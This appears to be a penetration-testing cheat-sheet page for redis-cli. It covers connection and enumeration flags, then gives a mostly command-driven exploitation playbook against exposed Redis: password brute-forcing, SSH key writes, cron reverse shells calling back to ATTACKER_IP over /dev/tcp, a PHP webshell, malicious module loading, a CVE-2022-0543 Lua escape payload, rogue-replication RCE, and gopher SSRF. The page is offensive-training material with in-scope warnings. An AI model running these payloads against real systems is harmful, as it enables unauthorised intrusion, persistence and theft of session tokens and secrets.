TOOL^:Tools

redis-cli

redis-cli connection syntax, the interactive REPL and non-interactive flags, plus using it as the pentest tool of choice for unauthenticated Redis: enumeration, CONFIG-based SSH key/cron writes, and module-load RCE.

intermediateupdated 2026-09-25redis-cli · nmap · gopherus · redis-rogue-server

redis-cli

redis-cli — the official command-line client shipped with Redis, used both to administer a legitimate instance and (offensively) to talk directly to an unauthenticated or credentialed Redis service (default port 6379/tcp) during enumeration and exploitation. Redis ships with no authentication by default and historically binds to all interfaces, making it one of the highest-value “low-hanging fruit” services in internal/HTB engagements — see Service Enumeration → Redis and Attack Flow Guide for the workflow-stage version of this content.

Installation

# macOS (Homebrew) — installs redis-server + redis-cli together, no separate cask
brew install redis

# Debian / Ubuntu — client only, no server
sudo apt install redis-tools

# Debian / Ubuntu — full package (server + client)
sudo apt install redis-server

# Kali — preinstalled; if missing:
sudo apt install redis-tools

# From source (any *nix, when the target's version matters for a specific CVE)
git clone https://github.com/redis/redis.git && cd redis && make
./src/redis-cli --version
redis-cli --version    # e.g. "redis-cli 8.10.1"
redis-cli --help       # full flag list

Connecting

redis-cli -h 10.10.10.100                        # default port 6379, no auth
redis-cli -h 10.10.10.100 -p 6380                 # custom port
redis-cli -h 10.10.10.100 -a 'S3cr3tPass'         # AUTH password (warns: password on cmdline visible in ps/history)
redis-cli -h 10.10.10.100 -a 'S3cr3tPass' --no-auth-warning   # suppress that warning
redis-cli -h 10.10.10.100 --user default -a 'pass'            # Redis 6+ ACL username
redis-cli -h 10.10.10.100 -n 3                    # select logical DB 3 (of 16, default 0)
redis-cli -u redis://default:pass@10.10.10.100:6379/0          # connection-string form
redis-cli -h 10.10.10.100 --tls --cacert ca.pem   # TLS-enabled instance (Redis 6+ w/ TLS build)
redis-cli -h 10.10.10.100 -3                      # force RESP3 protocol (HELLO)

Once connected you land in the interactive prompt: 10.10.10.100:6379>. Any command below also works as a one-shot non-interactive call: redis-cli -h $IP <command> <args>.

Core Flags

FlagDescription
-h <host>Target host (default 127.0.0.1)
-p <port>Target port (default 6379)
-a <password>Password for AUTH (or -a "" to test empty-password auth)
--user <name>ACL username (Redis 6+), paired with -a
-n <db>Select DB index after connecting (0–15 by default)
-xRead the last argument from stdin — used for pipe-writing binary/file data into a key
--no-rawForce human-readable formatted output (useful when scripting expects raw)
--csvOutput replies in CSV format
-r <n>Repeat the command n times
-i <secs>Interval between repeats (with -r)
--scanNon-interactively run a full SCAN cursor loop, printing every key
--pattern <glob>Filter --scan results by key-name glob
--bigkeysSample the keyspace and report the largest key per data type
--statContinuously print INFO-derived stats (like top for Redis)
--latencyMeasure round-trip latency to the server
--rdb <file>Download the server’s RDB snapshot over the wire (via SYNC; works against old servers too, no filesystem access needed)
--pipePipe raw RESP-protocol commands from stdin for mass loading (fastest bulk insert)
--cluster <cmd>Redis Cluster admin subcommands (check, info, reshard, …)

Enumeration — Is It Actually Unauthenticated?

redis-cli -h $IP PING                    # "PONG" with no AUTH = unauthenticated
redis-cli -h $IP INFO                    # full server/replication/keyspace info if unauth
redis-cli -h $IP INFO server | head      # just the version/os/build section
  • PONG/data returned → no auth required, proceed straight to enumeration.
  • (error) NOAUTH Authentication required. → auth is enabled; try -a "" (empty password), common default/weak creds, or move on.
# Fast unauth check across a subnet (no redis-cli loop needed)
nmap -p6379 --script redis-info -sV 10.10.10.0/24

Enumeration Commands

redis-cli -h $IP INFO                    # everything: version, OS, uptime, memory, replication, persistence
redis-cli -h $IP CONFIG GET '*'          # dump the entire live config (dir, dbfilename, requirepass, logfile, ...)
redis-cli -h $IP CONFIG GET dir          # working directory the server writes to
redis-cli -h $IP CONFIG GET requirepass  # empty string back = no password set, even if you got this far via other auth
redis-cli -h $IP DBSIZE                  # key count in the selected DB
redis-cli -h $IP CLIENT LIST             # connected clients, their addresses and idle time
redis-cli -h $IP CLIENT GETNAME
redis-cli -h $IP KEYS '*'                # list every key — blocking, avoid on large/prod DBs
redis-cli -h $IP --scan --pattern '*'    # same result, non-blocking cursor iteration (prefer this)
redis-cli -h $IP TYPE keyname            # string/list/set/zset/hash/stream
redis-cli -h $IP GET keyname             # read a string key
redis-cli -h $IP LRANGE keyname 0 -1     # read a full list
redis-cli -h $IP SMEMBERS keyname        # read a full set
redis-cli -h $IP HGETALL keyname         # read a full hash
redis-cli -h $IP ZRANGE keyname 0 -1 WITHSCORES  # read a full sorted set
redis-cli -h $IP --bigkeys               # find the biggest keys — often config/session/cache dumps worth reading

[!tip] Credential and secret hunting Redis is frequently used as a session store, cache, or job queue. KEYS '*'/--scan followed by targeted GET/HGETALL/LRANGE on interesting-looking keys (session:*, celery, laravel:*, *token*, *password*) regularly yields live session tokens, API keys, or app secrets without needing to exploit anything.

AUTH, ACLs & Brute Forcing

When AUTH is required, enumerate the ACL surface. Redis 6+ has named users; earlier builds only a single global requirepass.

redis-cli -h $IP ACL WHOAMI                  # current user — "default" before any AUTH
redis-cli -h $IP ACL LIST                    # every user + rule string (keys, cmds, hashed pw)
redis-cli -h $IP ACL USERS                   # just the usernames
redis-cli -h $IP ACL GETUSER default         # full permission breakdown for one user
redis-cli -h $IP ACL CAT                     # command categories (@admin, @dangerous, @scripting...)
redis-cli -h $IP CONFIG GET requirepass      # leaks the plaintext default password once you can read config

AUTH has two forms — the legacy single-arg (user default) and the Redis 6+ two-arg for named ACL users:

# In the REPL after connecting:
AUTH S3cr3tPass                              # legacy: authenticate as "default"
AUTH alice S3cr3tPass                        # Redis 6+: authenticate as ACL user "alice"

# From the shell (password on cmdline — pair with --no-auth-warning):
redis-cli -h $IP --user alice -a 'S3cr3tPass' --no-auth-warning ACL WHOAMI

Brute forcing AUTH:

nmap -p6379 --script redis-brute $IP         # NSE, targets the default user

# Metasploit
msfconsole -q -x "use auxiliary/scanner/redis/redis_login; set RHOSTS $IP; set PASS_FILE /usr/share/wordlists/rockyou.txt; run; exit"

# Manual loop (default user)
while read -r p; do
  redis-cli -h $IP -a "$p" --no-auth-warning PING 2>/dev/null | grep -q PONG && { echo "[+] valid: $p"; break; }
done < /usr/share/wordlists/rockyou.txt

[!tip] Cracking ACL password hashes ACL LIST / ACL GETUSER <user> print each user’s password as a SHA-256 hash (#<64-hex>). Pull them and crack offline with hashcat mode 1400 (raw SHA-256). CONFIG GET requirepass returns the plaintext default password outright once you can read config — always grab it for reuse/spray.

[!warning] Redis version gates the ACL system ACL * commands only exist on Redis ≥ 6. On older servers they return (error) ERR unknown command 'ACL' — which itself fingerprints a pre-6 build that only supports a single global requirepass.

Exploitation — SSH Key / authorized_keys Write

Classic technique when Redis runs as a user with a writable home directory (often the redis service account, sometimes root on a badly-configured box).

# 1. Generate a keypair on your attacking box
ssh-keygen -t rsa -b 4096 -f redis_key -N ""

# 2. Confirm the target dir is writable by the redis process
redis-cli -h $IP CONFIG GET dir

# 3. Point Redis's save-dir/save-file at the SSH authorized_keys location
redis-cli -h $IP CONFIG SET dir /var/lib/redis/.ssh
redis-cli -h $IP CONFIG SET dbfilename authorized_keys

# 4. Write the public key as a string value with padding newlines, then flush to disk
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") | redis-cli -h $IP -x SET sshkey
redis-cli -h $IP SAVE

# 5. Connect
ssh -i redis_key redis@$IP

[!warning] Destructive and environment-dependent SAVE rewrites the server’s on-disk RDB file — do this only in a lab or against an explicitly in-scope target, and prefer snapshotting the original dir/dbfilename values first (CONFIG GET dir / CONFIG GET dbfilename) so you can restore them. CONFIG SET dir fails silently-ish ((error) ERR ... Changing directory: ...) if the redis user can’t write there — pick a directory the service actually owns (its own data dir is the safe bet if .ssh isn’t writable). Root often doesn’t run Redis anymore on modern distros; check INFO server → process_id and /proc/<pid>/status (if you get a shell another way) for the real run-as user first.

Exploitation — Cron-Based Reverse Shell

Alternative to SSH-key write when /etc/cron.d/ (or the target user’s crontab spool) is writable instead of ~/.ssh/.

redis-cli -h $IP CONFIG SET dir /var/spool/cron/crontabs
redis-cli -h $IP CONFIG SET dbfilename root      # or the target cron user's name

redis-cli -h $IP SET cronjob "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n"
redis-cli -h $IP SAVE

# Debian/Ubuntu cron.d syntax instead needs a run-as-user field:
redis-cli -h $IP CONFIG SET dir /etc/cron.d
redis-cli -h $IP CONFIG SET dbfilename malicious
redis-cli -h $IP SET x "\n* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n"
redis-cli -h $IP SAVE

Catch it with pwncat-cs -lp 4444 / rustcat listen -p 4444 / nc -lvnp 4444, wait up to 60s for cron to fire.

Exploitation — Webshell into a Web Root

When Redis and a web server share a host, redirect the RDB dump into the web root instead of ~/.ssh/cron — same CONFIG SET dir + dbfilename + SAVE primitive.

redis-cli -h $IP CONFIG SET dir /var/www/html      # or /usr/share/nginx/html, C:\xampp\htdocs, C:\inetpub\wwwroot
redis-cli -h $IP CONFIG SET dbfilename shell.php
redis-cli -h $IP SET webshell '<?php system($_GET["cmd"]); ?>'
redis-cli -h $IP SAVE

curl "http://$IP/shell.php?cmd=id"                  # trigger through the web server

[!tip] Why the binary RDB still runs SAVE wraps your value in RDB header/footer bytes, but PHP ignores everything outside the <?php ... ?> tags and executes only your block — so a dumped RDB is a valid webshell. You must know (or leak via LFI, CONFIG GET dir, or a server error) the real web-root path first; a wrong dir writes nothing reachable. Same idea works for a .jsp/.aspx payload against the matching stack.

Exploitation — Module Load RCE (Redis ≥ 4.x, module loading enabled)

If CONFIG GET dir/write access works but there’s no cron or SSH path, and the server allows MODULE LOAD (disabled by default on hardened/managed Redis but common on self-hosted boxes):

# Build or fetch a malicious .so (e.g. RedisModules-ExecuteCommand)
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand && make

# Upload the module via SET + SAVE, same CONFIG SET dir/dbfilename trick as above,
# pointed at a filename ending in .so and the server's dir
redis-cli -h $IP CONFIG SET dir /tmp
redis-cli -h $IP CONFIG SET dbfilename exp.so
cat module.so | redis-cli -h $IP -x SET payload
redis-cli -h $IP SAVE

redis-cli -h $IP MODULE LOAD /tmp/exp.so
redis-cli -h $IP system.exec "id"           # command exposed by the loaded module

Fully automated versions of both the SSH-key and module-RCE paths: redis-rogue-server and the Metasploit exploit/linux/redis/redis_replication_cmd_exec (module RCE) / auxiliary/scanner/redis/file_upload (RDB file write) modules.

Exploitation — Lua Sandbox / EVAL RCE (CVE-2022-0543)

EVAL runs server-side Lua. Upstream Redis sandboxes it, but Debian/Ubuntu’s packaging (CVE-2022-0543) left the Lua package/os/io libs reachable — a full RCE with no CONFIG/MODULE/write access at all.

# Baseline — does EVAL work, and what's the working dir?
redis-cli -h $IP EVAL "return 'lua-ok'" 0
redis-cli -h $IP EVAL "return redis.call('CONFIG','GET','dir')" 0

# CVE-2022-0543 — Debian/Ubuntu Lua sandbox escape (numkeys = 0)
redis-cli -h $IP EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

[!warning] Distro- and version-specific CVE-2022-0543 affects only Debian/Ubuntu-packaged Redis (not upstream builds); fixed in the 2022 Debian security updates. The liblua5.1.so.0 path varies by distro/arch — x86_64-linux-gnu is the Debian/Ubuntu amd64 path; confirm with find / -name 'liblua5.1*' 2>/dev/null if you already have a foothold. On patched/non-Debian targets EVAL stays sandboxed — fall back to the CONFIG/MODULE/replication paths.

Replication-Based RCE (Master/Slave Abuse)

Redis 4/5’s replication feature can be abused to load an attacker-controlled .so module without ever touching the filesystem via SAVE:

# Tools like redis-rogue-server automate this: spin up a rogue "master" Redis,
# issue SLAVEOF to point the target at it, then push the module through the sync stream.
python3 redis-rogue-server.py --rhost $IP --rport 6379 --lhost ATTACKER_IP --lport 21000

Preferred when CONFIG SET dir is locked down (protected-mode-style hardening) but SLAVEOF/REPLICAOF is still callable.

Manual master/replica abuse (what the tools automate)

# Recon: replication role + module surface first
redis-cli -h $IP ROLE                           # "master"/"slave" + linked replicas
redis-cli -h $IP INFO replication               # role, connected_slaves, master_link_status
redis-cli -h $IP MODULE LIST                     # already-loaded modules (empty is normal)

# 1. On ATTACKER: serve exp.so from a rogue master (redis-rogue-server /
#    RedisModules-ExecuteCommand's module) on e.g. 21000
# 2. Point the target's replication at your rogue master:
redis-cli -h $IP REPLICAOF ATTACKER_IP 21000    # SLAVEOF on Redis < 5 (still aliased on 5+)
redis-cli -h $IP MODULE LOAD ./exp.so           # loads the module synced over the replica stream
redis-cli -h $IP system.exec "id"               # RCE via the module's command
# 3. Detach + unload to clean up
redis-cli -h $IP REPLICAOF NO ONE
redis-cli -h $IP MODULE UNLOAD system           # module registers as "system" — confirm via MODULE LIST

RESP Protocol SSRF (gopher://)

Redis’s RESP protocol also accepts inline commands — plaintext, space-separated, CRLF-terminated, no handshake — so a web-app SSRF that can reach an internal 6379 can drive Redis via gopher:// even when you can’t point redis-cli at it directly.

# Inline protocol proof over a raw socket (no redis-cli needed)
printf 'INFO\r\nQUIT\r\n' | nc $IP 6379

# Build the gopher:// payload (SSH-key/cron write, or Lua RCE) with Gopherus
gopherus --exploit redis                        # interactive: reverse shell / ssh key / php shell

[!tip] Encoding & full workflow Gopher payloads usually need double URL-encoding (%250d%250a for CRLF) when the app decodes the parameter once before the SSRF fires. The complete SSRF payload table and blind-SSRF tips live in Web Enumeration & Exploitation.

Non-Interactive & Scripting Usage

# One-shot command (no REPL) — good for scripting/loops
redis-cli -h $IP GET mykey

# Pipe a script of commands (one per line) in non-interactively
cat commands.txt | redis-cli -h $IP

# EVAL — run server-side Lua; useful both for admin tasks and, historically, for
# sandbox-escape RCE research (patched in modern Redis, still worth checking version)
redis-cli -h $IP EVAL "return redis.call('GET', KEYS[1])" 1 mykey

# Mass-insert benchmark/seed data fast (raw RESP protocol over --pipe)
redis-cli -h $IP --pipe < mass_insert_commands.resp

# Monitor every command hitting the server in real time (great for watching an app's traffic)
redis-cli -h $IP MONITOR

# Download the RDB snapshot without needing filesystem/SAVE access
redis-cli -h $IP --rdb /tmp/dump.rdb

Cleanup

If you wrote to dir/dbfilename, restore them to avoid leaving the box in a broken state:

redis-cli -h $IP CONFIG SET dir <original_dir>
redis-cli -h $IP CONFIG SET dbfilename <original_dbfilename>
redis-cli -h $IP DEL sshkey cronjob payload x   # remove any keys you added

Troubleshooting

ProblemSolution
(error) NOAUTH Authentication required.Try -a "", weak default creds, or move on — no unauth exploitation available
CONFIG SET dir errors / silently doesn’t stickRedis process can’t write there; pick a dir it already owns (check CONFIG GET dir first)
SAVE returns fine but nothing lands on diskWrong dbfilename/dir combo, or save points elsewhere — confirm with CONFIG GET save / LASTSAVE
MODULE LOAD unsupported / returns errorenable-module-command disabled (default since Redis 7) — fall back to SSH-key/cron write instead
Cron reverse shell never firesCheck the crontab syntax landed correctly (cat the file back via GET), confirm the cron daemon actually reads that spool path
Connection refused / times outRedis often binds 127.0.0.1 only on hardened hosts — you need a foothold or SSRF (see gopher payload below) to reach it
Need to reach Redis via a web SSRF, not directlyBuild a gopher:// payload with Gopherus — see Web Enumeration & Exploitation

See Also

Based on redis-cli 8.x (Redis 8.10.1) — https://redis.io/docs/latest/develop/tools/cli/

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.